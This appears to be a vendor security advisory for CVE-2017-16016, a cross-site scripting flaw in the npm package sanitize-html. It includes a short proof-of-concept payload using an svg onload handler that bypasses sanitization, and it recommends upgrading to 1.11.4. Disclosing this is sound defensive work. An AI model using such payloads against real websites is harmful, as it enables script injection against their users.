Launch Week Day 1: Announcing Security Design Review
UNKNOWN npm

Cross-Site Scripting in sanitize-html

GHSA-xc6g-ggrc-qq4r · CVE-2017-16016

Published · Modified

Description

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Ready to move

Start Securing

Free, no credit card | First findings in minutes